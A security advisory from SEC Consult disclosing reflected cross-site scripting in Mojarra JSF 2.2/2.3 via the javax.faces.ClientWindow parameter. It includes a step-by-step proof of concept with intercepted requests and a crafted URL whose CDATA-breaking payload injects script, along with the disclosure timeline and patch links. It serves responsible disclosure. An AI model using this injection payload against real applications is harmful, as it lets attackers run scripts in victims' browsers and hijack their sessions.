SEC Consult Vulnerability Lab Security Advisory < 20190918-0 > ======================================================================= title: Reflected Cross-Site Scripting (XSS) product: Oracle Mojarra JSF included in Java EE 7 Eclipse Mojarra JSF vulnerable version: 2.2 & 2.3 fixed version: https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_2X_ROLLING https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_3X_ROLLING https://github.com/eclipse-ee4j/mojarra CVE number: - impact: Medium homepage: https://javaserverfaces.github.io/ found: 2018-11-12 by: Jean-Benjamin Rousseau (Office Zurich) Guillaume Crouquet (Office Zurich) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "JavaServer Faces technology simplifies building user interfaces for JavaServer applications. Developers can build web applications by assembling reuseable UI components in a page; connecting these components to an application data source; and wiring client-generated events to server-side event handlers. This project provides information on the continued development of the JavaServer Faces specification. JavaServer Faces (JSF) is a JCP Standard technology for authoring component based user interfaces on the Java EE platform." Source: https://javaee.github.io/javaserverfaces-spec/ Business recommendation: ------------------------ By exploiting the vulnerability documented in this advisory, an attacker can execute arbitrary scripts in the context of the web application in the victim's browser. Besides performing arbitrary actions within the application with the victim's account or manipulating the application's interface, the attacker can potentially steal session tokens, redirect the victim to external pages and perform attacks against their browser. SEC Consult recommends users to implement the available patches. Vulnerability overview/description: ----------------------------------- The Mojarra implementation of JavaServer Faces (JSF) v2.2 and v2.3 lacks input validation on the javax.faces.ClientWindow parameter which can lead to reflected cross-site scripting (XSS) under certain conditions. Mojarra JSF v2.2 and v2.3 are respectively the user interface standards for Java EE 7 and Java EE 8. The vulnerability is not directly exploitable in Mojarra JSF v2.2 and v2.3. However, different frameworks based on this library and having a custom implementation of the Faces-Request HTTP headers for AJAX requests might be affected. PrimeFaces v6.0 is one example of a vulnerable framework. This vulnerability affects the web applications fulfilling the following conditions: - Usage of a framework based on Mojarra JSF v2.2 or v2.3 - Usage of AJAX requests in the web applications - Custom implementation of the Faces-Request HTTP headers for AJAX requests - Presence of the javax.faces.CLIENT_WINDOW_MODE context parameter set to "url" in the web.xml file: <context-param> <param-name>javax.faces.CLIENT_WINDOW_MODE</param-name> <param-value>url</param-value> </context-param> Proof of concept: ----------------- In this proof of concept, the tests are based on PrimeFaces v6.0, an open source framework for JSF. Other frameworks based on Mojarra JSF 2.2 or 2.3 might also be affected. Step 1: Generate an AJAX request on the web application and intercept it. ----------- POST /HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0 HTTP/1.1 Host: $IP Content-Length: 405 Accept: application/xml, text/xml, */*; q=0.01 Origin: http://$IP X-Requested-With: XMLHttpRequest Faces-Request: partial/ajax Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: JSESSIONID=2a616ef87aeed7521b02ceb4e163 Connection: close javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ViewState=7025249133904776332%3A-921340693957557245&javax.faces.ClientWindow=2a616ef87aeed7521b02ceb4e163%3A0 ----------- Step 2: Transpose the POST parameters into GET parameters and build a new URL with it. http://$IP/HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0&javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ViewState=7025249133904776332%3A-921340693957557245&javax.faces.ClientWindow=2a616ef87aeed7521b02ceb4e163%3A0 Step 3: Strip out the javax.faces.ViewState GET parameter from the URL. http://localhost:8080/HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0&javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ClientWindow=2a616ef87aeed7521b02ceb4e163%3A0 Step 4: Prefix the javax.faces.ClientWindow GET parameter with the following PoC payload: ]]></update><something%3ascript+xmlns%3asomething%3d"http%3a//www.w3.org/1999/xhtml">alert('SEC Consult')</something%3ascript><update+id%3d"j_id1%3ajavax.faces.ClientWindow%3a0"><![CDATA[ Resulting URL: http://$IP/HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0&javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ClientWindow=]]></update><something%3ascript+xmlns%3asomething%3d"http%3a//www.w3.org/1999/xhtml">alert('SEC+Consult')</something%3ascript><update+id%3d"j_id1%3ajavax.faces.ClientWindow%3a0"><![CDATA[2a616ef87aeed7521b02ceb4e163%3A0 Step 5: To trigger the XSS, the victim just needs to browse to the crafted link of step 4. Vulnerable / tested versions: ----------------------------- The following version has been tested: * Mojarra JSF v2.2 included in Java EE 7 * Mojarra JSF v2.3 included in Java EE 8 has not been tested but is affected according to the vendor Vendor contact timeline: ------------------------ Oracle: 2018-11-22: Contacting vendor through secalert_us@oracle.com 2018-11-27: Initial response from Oracle. Monthly updates will be provided until the issue is addressed. 2018-12-15: Request from Oracle for technical details. 2018-12-17: Response with requested details Error in the transmission of the e-mail. 2019-01-11: Request from Oracle to delay the release date when a fix will be provided. 2019-01-15: Extension of the release and retransmission of the technical details from the previous mail. 2019-02-01: Request from Oracle to extend the release date after the 16th of April 2019. 2019-02-04: Extension of the release date. 2019-02-05: Acknowledgment of receipt from Oracle. 2019-04-11: Release of a fix for versions 2.2 and 2.3 of Oracle Mojarra JSF 2019-04-29: SEC Consult: fix is incomplete and only filters script tags, request for a CVE number and credits. 2019-04-30: Request from Oracle for details for crediting 2019-04-30: Provision of details from SEC Consult 2019-05-07: Confirmation of credits in the Oracle Critical Patch Update Advisory - April 2019 2019-08-30: Confirmation by Oracle that a patch has been applied Eclipse: 2019-06-13: Contacting vendor through bugs.eclipse.org 2019-08-23: Project lead replied that he will take care of this issue 2019-08-28: Ask for an update with no response 2019-09-18: Release of security advisory Solution: --------- Oracle has addressed the reported issue for the versions 2.2 and 2.3: https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_2X_ROLLING https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_3X_ROLLING JSF is part of Java EE SDK, but Java EE is not a supported product, so Oracle will not be announcing the fixes through their Critical Patch Update. Eclipse has also been contacted, but no patch has been confirmed yet. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Jean-Benjamin Rousseau - Guillaume Crouquet / @2019